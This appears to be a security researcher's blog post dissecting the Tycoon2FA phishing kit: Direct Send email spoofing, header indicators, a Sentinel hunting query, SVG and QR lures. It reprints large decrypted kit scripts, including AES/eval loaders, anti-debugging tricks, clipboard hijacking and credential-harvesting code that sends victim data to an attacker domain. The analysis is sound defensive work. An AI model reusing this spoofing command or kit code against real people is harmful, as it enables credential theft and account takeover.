home..

Analyzing Tycoon2FA Latest Phishing Kit and Campaign

Phishing Campaign Tycoon2FA Initial Access Phishing Analysis

Introduction


Tycoon2FA’s latest Phishing-Kit has sophisticated TTPs - Initial Access via O365 Direct Send abuse, to several Anti-Analysis and Anti-Debugging features, to custom AES decryption and obfuscation routines, utilizing QR code phishing and SVG payloads, let’s dive deep into their tactics, we will uncover every minute detail of their phishing kit. Let’s start with the question - “How did they get in?”


Initial Access - Abusing Microsoft Office365 Direct Send


Based on Varonis report which was published recently, attackers have been abusing the “Direct Send” feature from Microsoft Exchange Online.

Attacker’s command to spoof the email -

Send-MailMessage -SmtpServer company-com.mail.protection.outlook.com -To [email protected] -From [email protected] -Subject "New Missed Fax-msg" -Body "You have received a call! Click on the link to listen to it. Listen Now" -BodyAsHtml 

And why this worked out so well?

And we can confirm the same via Microsoft’s official documentation for Direct Send feature:

Setting it up and learn more about accepted domain here.

With the information we have now, we can begin to make sense of why the “To” and “From” address were same

despite X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName email header displaying the target organization’s domain.

Microsoft has introduced more contol over Direct Send in Exchange Online, so going by the definition -

Direct Send is a method used to send emails directly to an Exchange Online customer’s hosted mailboxes from on-premises devices, applications, or third-party cloud services using the customer’s own accepted domain. This method does not require any form of authentication because, by its nature, it mimics incoming anonymous emails from the internet, apart from the sender domain.

The Direct Send method assumes that customers have properly configured SPF, DKIM, and DMARC for their tenants. It is critical that an administrator updates their SPF record by adding the source IP address where the device, application, or third-party service will send from to prevent emails from being flagged as spam. If SPF is not properly configured, any email sent using Direct Send will likely be flagged as spam.

Based upon your organization’s policy, you can consider “rejecting Direct Send feature”, which by default is disabled. To enable it, you need to run this command -

Set-OrganizationConfig -RejectDirectSend $true

The change should propagate out to our entire service within 30 minutes. With the feature enabled, any received Direct Send messages will see the following message:

550 5.7.68 TenantInboundAttribution; Direct Send not allowed for this organization from unauthorized sources

Unless Direct Send is re-enabled again, any messages that hit this error will need a partner connector created to authenticate their source as an approved sender.


Assets and Indicators of Compromise


Let’s begin our Investigation with couple of IOCs related to Tycoon2FA’s latest phishing campaign. You may find these IP Address in the followig email headers - X-MS-Exchange-Organization-OriginalClientIPAddress, X-MS-Exchange-Organization-ConnectingIP, X-MS-Exchange-Organization-AS-LastExternalIp.

Microsoft Sentinel Query for Tycoon2FA activity

Assuming they made it to your orgs inbox, you can tweak the query as per your needs.

EmailEvents
| where SenderFromDomain has "<org_domain>.com"
| where RecipientEmailAddress has "<org_domain>.com"
| where parse_json(AuthenticationDetails)["SPF"] == 'fail'
| where DeliveryLocation has "inbox"
| where SenderMailFromAddress != "noreply@<org_domain>.com"
| extend SenderUser = tostring(split(SenderFromAddress, "@")[0])
| extend RecipientUser = tostring(split(RecipientEmailAddress, "@")[0])
| where SenderUser == RecipientUser
| where Subject has_any ("Reminder", "Remittance", "Action Required", "WIRE TRANSFER", "Fax-msg")

and filter further for | distinct SenderIPv4 to grab the list of suspect IP Addresses and | distinct Subject to get the lay of the land, which should look something similar to this -


Email Subjects

There are couple of variations, they’ll try to remind you of your goals, they’ll wire transfer you some goodies, and even Fax you some important messages which deserve your utmost attention, sincerely.


Attachments and Payload

Usually Tycoon2FA utilizes .svg, .msg and .pdf malicious attachment wrapped in benign .eml file, which gets in the inbox. In the previous phishing campaign they had used binary files as well.

Packaging of malicious payload - .svg, .pdf, etc.

The end user will receive .eml in their inbox, they may open it in preview mode/download and open it separately, which contains the .svg payload or .pdf attachment for QR Phishing.

PDF malicious attachment wrapped in .eml

Remittance ADVICE

Docusign - WIRE TRANSFER


Email Header Analysis

The Microsoft Exchange headers not only identify various aspects of the email but their specific values provide important insights into message origin, reputation, and authentication status. For Instance, X-MS-Exchange-Organization-AS-LastExternalIp: 139[.]28[.]38[.]90 shows the exact external IP address from which the message was last received, helping trace the source. The X-MS-Exchange-Organization-InternalOrgSender: True value indicates the message is treated as originating from within the tenant’s trusted internal environment, which affects filtering and trust decisions. Reputation scores like X-MS-Exchange-Organization-SenderRep-Score: 3 suggest a moderate sender reputation, while classifications such as X-MS-Exchange-Organization-SenderRep-Data: IpClassLargeGrayOther_GrayOther_Good imply the sender IP is in a graylist category but currently considered good. Authentication results in X-MS-Exchange-Organization-Antispam-AuthResults show specific statuses like “SpfAuthStatus”:”Fail” and “DmarcAuthStatus”:”Fail”, indicating SPF and DMARC checks failed for the domain, while “DkimAuthStatus”:”None” means no DKIM signature was found. The X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName: .com value identifies the domain checked for spoofing. Mail routing headers such as `X-MS-Exchange-Organization-MxPointsToUs:` true confirm that the recipient domain’s MX records correctly point to the organization’s mail servers. Other values like `X-MS-Exchange-Organization-Cross-Session-Cache` contain encoded flags and counters representing spam confidence levels (e.g., SCL=0 means not spam, which is the case here), bulk mail indicators, and ATP processing flags, reflecting the message’s filtering history and threat assessment. Together, these header values provide a detailed, multi-layered view of the message’s journey, authenticity, and trustworthiness within Microsoft’s mail ecosystem. Unfortunately, it was abused so well.

More on X-MS-Exchange-Organization-Cross-Session-Cache: reveals - ;SL=1;SCL=0;BL=0;RL=1;PID=0;TIP=NotListed which implies the Spam Level (SL) was 1 (meaning low spam suspicion level), Spam Confidence Level = 0, means it isn’t spam, so on, Bulk Level (BL = 0), and TIP is “not listed”, meaning that sending IP address is not listed on any known IP blocklists, indicating a clean reputation.

Header Value
X-MS-Exchange-Organization-InternalOrgSender True
Authentication-Results spf=fail (sender IP is 139[.]28[.]38[.]90) smtp.mailfrom=.com; dkim=none (message not signed) header.d=none; dmarc=fail action=none header.from=.com;
Received-SPF Fail (protection.outlook.com: domain of .com does not designate 139[.]28[.]38[.]90 as permitted sender) receiver=protection.outlook.com; client-ip=139[.]28[.]38[.]90; helo=[127.0.0.1];
X-Mailer Microsoft Office Outlook 16.0
X-MS-Exchange-Organization-OriginalClientIPAddress 139[.]28[.]38[.]90
X-MS-Exchange-Organization-ConnectingIP 139[.]28[.]38[.]90
X-MS-Exchange-Organization-AS-LastExternalIp 139[.]28[.]38[.]90

X-MS-Exchange-Organization-Antispam-AuthResults has the value {"SpfDomain":"<org_domain>.com","SpfAuthStatus":"Fail", "DkimAuthStatus":"None","DkimSubStatus":"None","DmarcAuthStatus":"Fail", "DmarcAction":"None","ArcAuthStatus":"0","ArcSubStatus":"0"}

Header Value
X-MS-Exchange-Organization-IsBipIncludedAtpTenant true
X-MS-Exchange-Organization-IsAtpTenant true
X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName target.com
X-MS-Exchange-Organization-SenderRep-Score 3
X-MS-Exchange-Organization-SenderRep-Data IpClassLargeGrayOther_GrayOther_Good
X-MS-Exchange-Organization-VBR-Class GrayOther
X-MS-Exchange-Organization-HMATPModel-Spf 6
X-MS-Exchange-Organization-AntiSpam-SpfDnsTimeoutError true
X-MS-Exchange-Organization-PtrDomains probev-us.mail.protection.outlook.com
X-MS-Exchange-Organization-EhloAndPtrDomain [127.0.0.1];probev-us.mail.protection.outlook.com
X-MS-Exchange-Organization-MxPointsToUs true
X-MS-Exchange-Organization-RecipientDomainMxRecord-PFAFD target.com#target-com.mail.protection.outlook.com
X-MS-Exchange-Organization-RecipientDomainMxInfo target.com#Office365#target-com.mail.protection.outlook.com

Also, flag ;RunIntraOrgSpoof=true being true, which implies Microsoft Exchange has enabled or executed internal spoof detection mechanisms to identify and block emails that falsely claim to originate from inside the organization. Tycoon2FA has bypassed Anti-Spoofing protection in EOP as well as Spoof Intelligence Insight in EOP, along with many other security measures in place, need not to mention Microsoft ATP for Office 365 was active throughout the exploitation chain. By analyzing the email headers itself, we can understand the level of sophistication Tycoon2FA achieved via exploiting/abusing the “Direct Send” feature. I was having a hard time wrapping my head around the fact that their phishing mail landed straight in the user’s inbox, despite all of the protections enabled (besides SPF, DKIM).


Phishing Payload Analysis


QR Code Phishing

To begin with, we can look into the .pdf malicious attachment - it contains a QR code which redirects the user to Office365 login page, but in my case I wasn’t able to replicate that - due to the anti-analysis and anti-bot protection mechanism implemented by Tycoon2FA - their Cloudflare Turnstile captcha kept refreshing mutiple times - until it had blocked my IP and I had to use a residential proxy for circumventing it.

Analyzing the QR code -

It contains the target user email as a parameter.

Similarly,

This suggests the Domain Generation Algorithm utility for these random domains. You can find an updated list of more than 5,600+ domains used for phishing by Tycoon2FA here.

.svg Phishing - Payload Variant 1

Remember that the variable v is the Base64 encoded email of the target user. Now let’s unpack this code:

Constants:
   -  D is a key string used for XOR decryption.
   -  W is a long hex string representing XOR encrypted data.

Helper Functions:
   -  g(h) splits the hex string W into pairs of hex digits.
   -  c(M) converts a number M into a character using Unicode code points.

Decryption Loop:
   -  The hex string W is split into byte-sized chunks.
   -  Each byte (parsed from hex) is XORed with a character code from D (cycling through D).
   -  The result is converted back to a character.
   -  This reconstructs a decrypted string N.

Execution of Decrypted Code:
   -  L is assigned the Function constructor by accessing the prototype of [].map.
   -  L(N)() creates a new function from the decrypted string N and immediately executes it.

In essence -

The payload is encrypted JavaScript code inside the SVG.

XOR Decrypting the hex stream with the key 12483c0db4709822b7175c5b and in UTF-8 format.

Now we have this code with us:

window.location.href = …, This sets the browser’s current URL to a new value, causing a redirect.

Upon Base64 decoding the concatenated string we get - "https://czaigj.aptswid.es/4xWh yTFyq5nDlVL/ %" which then gets appended with the variable v, likewise - window.location.href = "https://czaigj.aptswid.es/4xWhyTFyq5nDlVL/%" + v;

The redirect link was down for this domain, or it might have deployed some anti-analysis measures, Cloudflare Turnstile had stopped my analysis there, but it won’t be the case always, as we will see later.

.svg Phishing - Payload Variant 2

So, Instead of hex stream, this time you’re gonna get Base64 encoded data, which is dynamically decoded and it runs the decoded function as follows - (just some redirect to their landing page which is protected by their Turnstile)

and then it resolves to the FQDN they want their target to visit -

again, no luck this time, I am not sure what anti-analysis they have implimented from their server side, that the landing page links are up and running with some jitter I believe, to deter the analysis.

But as I was digging through the latest of samples, I noticed that the threat actor has sent 2 sweet phishing mails, one of them was fully active and functional, I grabbed it by neck and in the below segment you’ll see how sophisticated phishing campaign it is.


Deep Dive into Tycoon2FA Phishing Kit


The execution sequence goes normal as expected, based upon .svg Phishing - Variant 1 as discussed above, so we have -

and as per our ritual, via following the steps for XOR decryption, we arrive at the landing page URL -

https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$<Base64_encoded_variable_J>, here J is simply the target user’s mail, which will be used on several occassions, to pre-populate the email field and such. I am going to refer this particular URL as primary landing page URL from now onwards, for the sake of convenience.

Anti-Analysis and Anti-Bot protection

What happens when we try to open the primary landing page URL (https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$<Base64_encoded_variable_J>) via mobile device? and/or

and if you reloaded the redirect URL from the landing page above, with/without sending the credentials, its going to perform an anti-analysis maneuver -

Chain of Execution (normal phishing workflow)

First you encounter the Cloudflare Turnstile Captcha,

and then the end user will see some neat and seamless redirects, here is an opportunity for the user to recall the corporate phishing training lessons,

then there’s the landing page, ready for credential harvesting. One important thing I had noticed during my analysis is that - it performs server side checks for the credential being entered, ensuring that it re-prompts the user if they aren’t right in the first try.

Moving ahead, we can do view-source: trick to fetch the source code of the final landing page, and we can observe two different function blobs/snippets as follows - (in-depth explanation below)

Runtime Dynamic Decryption Routine and Anti-Analysis

UjBpjGaycy = [
  ...[114, 112].map(YZgLDUCFEh => String.fromCharCode(YZgLDUCFEh)),
  String.fromCharCode(67),
  String.fromCharCode(121),
  String.fromCharCode(116),
  String.fromCharCode(111),
  String.fromCharCode(74),
  String.fromCharCode(83)
];
// UjBpjGaycy = ['r', 'p', 'C', 'y', 't', 'o', 'J', 'S']

ZzKiBWTICw = [
  UjBpjGaycy[2],  // 'C'
  UjBpjGaycy[0],  // 'r'
  UjBpjGaycy[3],  // 'y'
  UjBpjGaycy[1],  // 'p'
  UjBpjGaycy[4],  // 't'
  UjBpjGaycy[5],  // 'o'
  UjBpjGaycy[6],  // 'J'
  UjBpjGaycy[7]   // 'S'
].join('');
// ZzKiBWTICw = "CryptoJS"

Dynamically constructing string “CryptoJs” to avoid static detection

htPOSCUJJB = globalThis[ZzKiBWTICw];
// htPOSCUJJB is now the CryptoJS object

and then script accessing CryptoJS library in global scope,

var yofQrrnXHZ = htPOSCUJJB.enc.Base64.parse(KmYDStqAUf); // key
var cgSjYSUtqZ = htPOSCUJJB.enc.Base64.parse(QfPcobweVK); // IV + ciphertext

Converting the base64 strings into binary data usable by CryptoJS.

var jjCuOPmkZm = htPOSCUJJB.lib.WordArray.create(cgSjYSUtqZ.words.slice(0, 4), 16); // IV (16 bytes)
var IUEAQeJbbN = htPOSCUJJB.lib.WordArray.create(
    cgSjYSUtqZ.words.slice(4),
    cgSjYSUtqZ.sigBytes - 16
); // ciphertext
var jAeRNWFTRc = htPOSCUJJB.AES.decrypt(
    { ciphertext: IUEAQeJbbN },
    yofQrrnXHZ,
    { iv: jjCuOPmkZm, mode: htPOSCUJJB.mode.CBC, padding: htPOSCUJJB.pad.Pkcs7 }
);
var uXUrEWQiOC = jAeRNWFTRc.toString(htPOSCUJJB.enc.Utf8);

The decrypted payload is then converted to a string.

(() => {
    const eQtKbRsGby = uXUrEWQiOC;
    const cyOvjxuVfk = (typeof window !== 'undefined' ? window : 
                       typeof global !== 'undefined' ? global : 
                       typeof self !== 'undefined' ? self : {});
    const oEvmbrlUdG = [101, 118, 97, 108].map(FwgweoUprb => String.fromCharCode(FwgweoUprb)).join(''); // "eval"
    const jSYgmYMWcC = [99, 111, 110, 115, 111, 108, 101].map(FELOOzfhHO => String.fromCharCode(FELOOzfhHO)).join(''); // "console"
    if (cyOvjxuVfk[jSYgmYMWcC]) cyOvjxuVfk[jSYgmYMWcC][[108, 111, 103].map(XjJoNpTCny => String.fromCharCode(XjJoNpTCny)).join('')];
    cyOvjxuVfk[oEvmbrlUdG](eQtKbRsGby);
})();

So far, the script hides its real malicious code encrypted inside a large Base64 string. It then decrypts this code at runtime using AES-CBC with a key and IV embedded in the script. The decrypted code is then executed dynamically via eval. This technique evades static detection and hides the payload until execution.

Clipboard Hijacking

document.addEventListener('copy', function(event) {
    // Check if the active element is an input, textarea, or contenteditable
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return; // Allow normal copy inside editable areas
    }
    event.preventDefault(); // Stop the default copy action

    var customWord = "pico"; // The string to replace clipboard content

    // Set the clipboard data to "pico"
    event.clipboardData.setData('text/plain', customWord);
});

The script listens for user copy events and replaces the clipboard content with a fixed string “pico” unless the copy happens inside editable fields.

Now lets see what unholy code the adversary is trying to hide

First 16 bytes are the IV.

Using the Base64 encoded key and the IV we extracted above, we can AES decrypt the payload.

Anti-Debugging and Anti-Analysis blob

(navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener("keydown", function (event) {
    function syyt(event) {
        const agib = [
            { keyCode: 123 },
            { ctrl: true, keyCode: 85 },
            { ctrl: true, shift: true, keyCode: 73 },
            { ctrl: true, shift: true, keyCode: 67 },
            { ctrl: true, shift: true, keyCode: 74 },
            { ctrl: true, shift: true, keyCode: 75 },
            { ctrl: true, keyCode: 72 }, // Ctrl + H
            { meta: true, alt: true, keyCode: 73 },
            { meta: true, alt: true, keyCode: 67 },
            { meta: true, keyCode: 85 }
        ];

        return agib.some(nspa =>
            (!nspa.ctrl || event.ctrlKey) &&
            (!nspa.shift || event.shiftKey) &&
            (!nspa.meta || event.metaKey) &&
            (!nspa.alt || event.altKey) &&
            event.keyCode === nspa.keyCode
        );
    }

    if (syyt(event)) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
nwax = false;
(function caxv() {
    let ftfs = false;
    const time = 100;
    setInterval(function() {
        const gwix = performance.now();
        debugger;
        const gpgg = performance.now();
        if (gpgg - gwix > time && !ftfs) {
            nwax = true;
            ftfs = true;
            window.location.replace('https://www.etsy.com');
        }
    }, 100);
})();

This is the function blob/snippet which was kept encrypted and obfuscated all this time, the entire purpose of which is to power the Anti-Analysis measures for the phishing page.

Let’s unpack it one by one -

(navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
    window.location = "about:blank";
}

This checks if the browser is automated or being inspected by tools like PhantomJS (window.callPhantom, window._phantom), or Burp Suite (userAgent.includes("Burp")). If detected, it redirects the page to a blank page (about:blank).

document.addEventListener("keydown", function (event) {
    // Checks for keys like F12, Ctrl+Shift+I, Ctrl+U, etc.
    if (syyt(event)) {
        event.preventDefault();
        return false;
    }
});

Prevents users from opening developer tools or viewing source code by disabling common shortcuts:

F12 (DevTools), Ctrl+Shift+I (DevTools), Ctrl+U (View Source), Ctrl+Shift+C (Inspect Element), Ctrl+Shift+J (Console), Ctrl+H (History) and Meta+Alt+I/C (Mac equivalents).

document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});

Disables right-click context menu and prevents us from easily accessing options like “Inspect” or “View Source,” further obstructing analysis.

(function caxv() {
    let ftfs = false;
    const txhg = 100;
    setInterval(function() {
        const gwix = performance.now();
        debugger;
        const gpgg = performance.now();
        if (gpgg - gwix > txhg && !ftfs) {
            nwax = true;
            ftfs = true;
            window.location.replace('https://www.etsy.com');
        }
    }, 100);
})();

This repeatedly runs a debugger statement inside a timer and measures the delay caused by the debugger pausing execution. If the delay exceeds 100 ms (likely due to a breakpoint or debugging), it redirects the user to https://www.etsy.com.


Analyzing 2nd function snippet

Previously, In the same script, we analyzed its 1st function snippet, now its time to look into the 2nd one -

Execution, decryption and Anti-analysis logic remains the same, with minor differences in the AES-encrypted Base64 string being split up into multiple variables.

After the decryption ritual is performed, we can observe the inner workings of the content, which is same as the 1st function snippet, with couple of notable differences at the end.

In the side by side comparison, at the very end we can see changes in the loading of document as follows -

// From 1st function snippet

document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return;
    }
    event.preventDefault();
    var customWord = "pico";
    event.clipboardData.setData('text/plain', customWord);
    });
// 2nd function snippet

mdqg = atob;
wjuf = mdqg(`Base64_encoded_HTML_PAGE_CONTENT==`);
document.write(wjuf);

Here, it dynamically injects/replaces the entire page with the decrypted content.

2nd HTML Wrapper

The Base64 encoded string, which was depicted earlier as - Base64_encoded_HTML_PAGE_CONTENT== in the variable wjuf is an entire HTML page in itself, which gets injected, on top of that (and most importantly), that HTML page has its own set of function snippets/blob with same nomenclature, obfuscation and encryption routine, with some variation.

Visual assets include login form attributes and images/gifs for mimicking 0365 login page.

The first function blob is exactly the same as we saw earlier. The 2nd function blob has some differences.

As you can observe, the key is also different.

After AES decryption we get -

var otherweburl = "";
var websitenames = ["godaddy", "okta"];
var bes = ["Apple.com","Netflix.com"];
var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];
var capnum = 1;
var appnum = 1;
var pvn = 0;
var view = "";
var pagelinkval = "DYP69";
var emailcheck = "[email protected]";
var webname = "rtrim(/web9/, '/')";
var urlo = "/emb8kD0RTbyoICDCtpBvPcikTu8AQYQ7s9ISvjPeyUkKmaDS6yyJ0Hs5UOnb";
var gdf = "/ij6XWH6LKuAiS9LLyggKewJrmywxM9aNYhf0G5GQoab120";
var odf = "/ijj0e57If25ZKU40GtCG7H8EuvNCDfgFofGtqHTrwdqcd646";
var twa = 0;

var currentreq = null;
var requestsent = false;
var pagedata = "";
var redirecturl = "https://login.microsoftonline.com/common/SAS/ProcessAuth";
var userAgent = navigator.userAgent;
var browserName;
var userip;
var usercountry;
var errorcodeexecuted = false;
if(userAgent.match(/edg/i)){
    browserName = "Edge";
} else if(userAgent.match(/chrome|chromium|crios/i)){
    browserName = "chrome";
} else if(userAgent.match(/firefox|fxios/i)){
    browserName = "firefox";
} else if(userAgent.match(/safari/i)){
    browserName = "safari";
} else if(userAgent.match(/opr\//i)){
    browserName = "opera";
} else{
    browserName="No browser detection";
}

function removespaces(input) {
    input.value = input.value.replace(/\s+/g, ''); // Removes all spaces
}

//
    function sendlive(statusval) {
        $.ajax({
            type: "POST",
            url: urlo,
            data: stringToBinary(encryptData(JSON.stringify({
                pagelink: pagelinkval,
                type: statusval,
                ip: userip,
                country: usercountry,
                useragent: userAgent,
                appnum: appnum
            }))),
            success: function(response) {
            },
            error: function(xhr, status, error) {
                console.error("Error:", error);
            }
        });
    }

    $.get("https://get.geojs.io/v1/ip/geo.json", function(response) {
        userip = response.ip;
        usercountry = response.country;
        sendlive(13);
    }, "json").fail(function(jqXHR, textStatus, errorThrown) {
        if (jqXHR.status === 429 || textStatus !== "success") {
            setTimeout(sendemailrequestzero, 1000);
        }
    });
//

function encryptData(data) {
    const key = CryptoJS.enc.Utf8.parse('1234567890123456');
    const iv = CryptoJS.enc.Utf8.parse('1234567890123456');
    const encrypted = CryptoJS.AES.encrypt(data, key, {
        iv: iv,
        padding: CryptoJS.pad.Pkcs7,
        mode: CryptoJS.mode.CBC
    });
    return encrypted.toString();
}

function stringToBinary(input) {
    const zeroReplacement = '0';
    const oneReplacement = '1';
  
    return btoa(input
      .split('')
      .map(char => {
        let binary = char.charCodeAt(0).toString(2);
        binary = binary.padStart(8, '0');
        return binary
          .split('')
          .map(bit => (bit === '0' ? zeroReplacement : oneReplacement))
          .join('');
      })
      .join(' '));
}

function decryptData(encryptedData) {
    const key = CryptoJS.enc.Utf8.parse('1234567890123456');
    const iv = CryptoJS.enc.Utf8.parse('1234567890123456');
    const decrypted = CryptoJS.AES.decrypt(encryptedData, key, {
        iv: iv,
        padding: CryptoJS.pad.Pkcs7,
        mode: CryptoJS.mode.CBC
    });
    return decrypted.toString(CryptoJS.enc.Utf8);
}

var sendAndReceive = (route, args, getresponse) => {
if(requestsent == true && route !== "twofaselect"){
return new Promise((resolve, reject) => {
return resolve({message: "waiting for previous request to complete"});
});
}
if(requestsent == false || route == "twofaselect"){
requestsent = true;
let routename = null;
let randpattern = null;
if(route == "checkemail"){
randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(3[1-9]|40)/gm;
}
if(route == "checkpass"){
randpattern = /(yz|12)[A-Za-z0-9]{7,14}(56|78)[A-Za-z0-9]{3,8}(op|qr)(4[1-9]|50)/gm;
}
if(route == "twofaselect"){
randpattern = /(56|78|90)[A-Za-z0-9]{8,16}(23|45|67)[A-Za-z0-9]{4,9}(st|uv)(5[1-9]|60)/gm;
}
if(route == "twofaselected"){
randpattern = /(23|45)[A-Za-z0-9]{9,20}(89|90|ab)[A-Za-z0-9]{5,10}(vw|xy)(6[1-9]|70)/gm;
if(currentreq){
currentreq.abort();
}
}
let randexp = new RandExp(randpattern);
let randroute = randexp.gen();

let formattedargs = 0;
if(route == "checkemail"){
formattedargs = args.map(item => '/'+item).join('')+'/'+appnum+'/'+getresponse;
}
if(route !== "checkemail"){
formattedargs = '/'+token+args.map(item => '/'+item).join('')+'/'+getresponse;
}
// console.log(formattedargs);
let encrypteddata = encryptData(formattedargs);
const makeRequest = (retryCount) => {
    return new Promise((resolve, reject) => {
            currentreq = $.ajax({
                url: 'https://tY4DcmhfxyvBeibKJzrU9J05C33QimmcWlZlOgGnlSNc67A3rd.eojlpggwfnp.es/MvEtdZQnVyaBYuLpGDrtzjoNzsYWRLMJWVWKROTPFXTJSGHNFEPQRP' + randroute,
                type: 'POST',
                data: {data: encrypteddata},
                success: function(response) {
                    if (response.message == "Token Not Found" && retryCount < 3) {
                    console.log('data: '+formattedargs);
                    setTimeout(function(){
                    resolve(makeRequest(retryCount + 1));
                    }, 3000);
                    }
                    if (response.message == "Missing Value") {
                    resolve('missing value');
                    }
                    if (response.message !== "Token Not Found") {
                    let decryptedresp = JSON.parse(decryptData(response));
                    if(route !== "twofaselected"){
                    if (decryptedresp.token) {
                        token = decryptedresp.token;
                    }
                    }
                    if (decryptedresp.message == "Token Not Found" && retryCount < 3) {
                        console.log('data: '+formattedargs);
                        setTimeout(function(){
                        resolve(makeRequest(retryCount + 1));
                        }, 3000);
                    } else {
                        // console.log(decryptedresp);
                        requestsent = false;
                        resolve(decryptedresp);
                    }
                    }
                },
                error: function(xhr, status, error) {
                    requestsent = false;
                    console.error('Error:', error);
                    reject(error);
                }
            });
        });
    };
    return makeRequest(0);
}
};
function bottomsectionlinks(sectionname,array) {
const bottomsection = document.getElementById('section_'+sectionname).querySelector('.bottomsection');
bottomsection.innerHTML = '';
array.forEach(item => {
if (item.type === 'text_link') {
const textWithLink = document.createElement('p');
textWithLink.classList.add('mb-16');
textWithLink.innerHTML = `${item.text} <a href="javascript:void(0)" data-id="`+item.a_id+`" onclick="linkoptionclick(this)" class="link">${item.a_text}</a>`;
bottomsection.appendChild(textWithLink);
} else if (item.type === 'link_text') {
const linkwithText = document.createElement('a');
linkwithText.classList.add('link', 'mb-16');
linkwithText.setAttribute('data-id', item.a_id);
linkwithText.setAttribute('onclick', 'linkoptionclick(this)');
linkwithText.textContent = item.a_text;
bottomsection.appendChild(linkwithText);        
const paragraph = document.createElement('p');
paragraph.textContent = item.text;
bottomsection.appendChild(paragraph)
} else if (item.type === 'link') {
const linkOnly = document.createElement('a');
linkOnly.classList.add('link','mb-16');
linkOnly.setAttribute("data-id", item.a_id);
linkOnly.setAttribute("onclick", "linkoptionclick(this)");
linkOnly.textContent = item.a_text;
linkOnly.href = '#';
bottomsection.appendChild(linkOnly);
} else if (item.type === 'text') {
const textOnly = document.createElement('p');
textOnly.classList.add('mb-16');
textOnly.textContent = item.text;
bottomsection.appendChild(textOnly);
}
});
}
var disconnecttimer;
var showwedidnthearpopup = 0;
function startdisconnecttimer(){
if(document.getElementById('section_tryagainlater').classList.contains('d-none')){
disconnecttimer = setTimeout(function() {
setTimeout(function(){
document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById('section_'+view).classList.toggle('d-none');
document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('#tryagain_withoutinternet').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_tryagainlater').classList.remove('d-none');
}, 200);
}, 500);
view = "tryagainlater";
}, 40000);
}
}
function moreinforeq(){
showwedidnthearpopup = 0;
if(document.getElementById('section_tryagainlater').classList.contains('d-none')){
document.getElementById('section_tryagainlater').querySelector('.title').innerText = "More Information Required";
setTimeout(function(){
document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById('section_'+view).classList.toggle('d-none');
document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('#tryagain_moreinfo').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_tryagainlater').classList.remove('d-none');
}, 200);
}, 500);
}
view = "tryagainlater";
}

// document.addEventListener("DOMContentLoaded", () => {
if(twa == 0){
setTimeout(function(){
setTimeout(function(){
document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_tryingtosignin').querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById("section_tryingtosignin").classList.toggle('d-none');
if (!document.getElementById('sections_doc') && !document.getElementById('sections_pdf')){
document.title = "Profile Security Sign-In";
if (document.getElementById('out2-logo')){
document.getElementById('out2-logo').style.display = 'block';
}
document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_uname').classList.remove('d-none');
}
}, 200);
}, 500);

if (document.getElementById('sections_pdf')){
setTimeout(function(){
document.title = "Profile Security Sign-In";
document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "none";
document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.remove('d-none');
}, 1000);
}

if (document.getElementById('sections_doc')){
setTimeout(function(){
document.title = "Profile Security Sign-In";
}, 1000);
}

}, 1000);
}
if(twa == 1){
document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading');
document.getElementById("section_tryingtosignin").classList.toggle('d-none');
document.title = "Profile Security Sign-In";
document.getElementById('section_uname').classList.remove('d-none');
}
if(twa == 2){
document.title = "Profile Security Sign-In";
}
// });

let emailinputele = false;

function tryfindingele(email) {
if (view == "uname") {
let emailinputcheck = document.getElementById("inp_uname");
let emailsectionelecheck = document.getElementById("section_uname");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
    emailinputcheck.value = email;
    document.getElementById('section_uname').querySelector("#btn_next").click();
    emailinputele = true;
} else {
     setTimeout(function() {
        tryfindingele(email);
     }, 1000);
}

} else if (view == "uname_pdf") {
let emailinputcheck = document.getElementById("pdfemail");
let emailsectionelecheck = document.getElementById("section_uname_content");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
    emailinputcheck.value = email;
    setTimeout(function() {
        document.getElementById('section_uname_pdf').querySelector("#btn_next_pdf").click();
     }, 2000);
    emailinputele = true;
} else {
     setTimeout(function() {
        tryfindingele(email);
